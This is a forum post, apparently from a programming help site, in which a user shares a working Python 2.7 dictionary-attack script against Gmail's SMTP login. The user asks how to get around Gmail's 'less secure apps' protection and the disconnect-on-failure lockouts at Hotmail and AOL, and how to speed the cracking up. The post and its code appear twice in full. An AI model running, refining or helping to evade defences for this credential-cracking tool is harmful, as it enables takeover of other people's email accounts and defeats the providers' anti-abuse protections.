Code posted at the bottom:
Hey guys, I have a few questions concerning an Smtp cracker I made with python 2.7. My first question involves the allow access from less secure apps security feature on gmail. Whenever I use the password cracker on my own gmail, it simply passes my correct password and sais incorrect. After this I go into gmail and turn allow access from less secure apps on and then I'm able to successfully crack my password.
I was wondering if there was a way to bypass this security feature? Would the request module work better then the smtplib module?
My second question involves using my password cracker on Hotmail and Aol. These servers are different then Gmail because they don't have the security feature I was talking about in my first question. However, they do have a security feature that disconnects your session on the first failed log in attempt. To bypass this I simply just restart the session using the handshake method ehlo and starttls. The problem is that since python has too reconnect to the server for every failed attempt, the program runs at a snails pace. So my question is that is there any other way to do this or at least speed up the process?
Thanks for the help guys, here's the code for the gmail program, the Aol and Hotmail are pretty much the same except they re-establish the connection in the exception loop.
import os
import smtplib
import sys
print ("\033[31m\n THIS FUNCTION WILL PERFORM A DICTIONARY ATTACK ON GMAIL'S SMTP SERVER")
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
os.getcwd
user = raw_input("\033[32m Enter The Targets Gmail Adress: ")
passwfile = raw_input(" Enter The Password List: ")
try:
passwfile = open(passwfile, "r")
except IOError:
print("\033[31m\n [!]Error: File " + passwfile + " Not Found.")
sys.exit()
for password in passwfile:
try:
session.login(user,password)
print ("\033[32m [+] PASSWORD FOUND: %s") % password
print ("\033[0m")
break
except smtplib.SMTPAuthenticationError:
print ("\033[31m [!] INCORRECT: {!s}".format(password))
print ("\033[0m")
except smtplib.SMTPServerDisconnected:
print ("\033[31m [!]WARNING ----> ") + ("\033[32mDue to repeated failed login attempts you have been disconected from gmail.")
break
Hey guys, I have a few questions concerning an Smtp cracker I made with python 2.7. My first question involves the allow access from less secure apps security feature on gmail. Whenever I use the password cracker on my own gmail, it simply passes my correct password and sais incorrect. After this I go into gmail and turn allow access from less secure apps on and then I'm able to successfully crack my password.
I was wondering if there was a way to bypass this security feature? Would the request module work better then the smtplib module?
My second question involves using my password cracker on Hotmail and Aol. These servers are different then Gmail because they don't have the security feature I was talking about in my first question. However, they do have a security feature that disconnects your session on the first failed log in attempt. To bypass this I simply just restart the session using the handshake method ehlo and starttls. The problem is that since python has too reconnect to the server for every failed attempt, the program runs at a snails pace. So my question is that is there any other way to do this or at least speed up the process?
Thanks for the help guys, here's the code for the gmail program, the Aol and Hotmail are pretty much the same except they re-establish the connection in the exception loop.
import os
import smtplib
import sys
print ("\033[31m\n THIS FUNCTION WILL PERFORM A DICTIONARY ATTACK ON GMAIL'S SMTP SERVER")
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
os.getcwd
user = raw_input("\033[32m Enter The Targets Gmail Adress: ")
passwfile = raw_input(" Enter The Password List: ")
try:
passwfile = open(passwfile, "r")
except IOError:
print("\033[31m\n [!]Error: File " + passwfile + " Not Found.")
sys.exit()
for password in passwfile:
try:
session.login(user,password)
print ("\033[32m [+] PASSWORD FOUND: %s") % password
print ("\033[0m")
break
except smtplib.SMTPAuthenticationError:
print ("\033[31m [!] INCORRECT: {!s}".format(password))
print ("\033[0m")
except smtplib.SMTPServerDisconnected:
print ("\033[31m [!]WARNING ----> ") + ("\033[32mDue to repeated failed login attempts you have been disconected from gmail.")
break

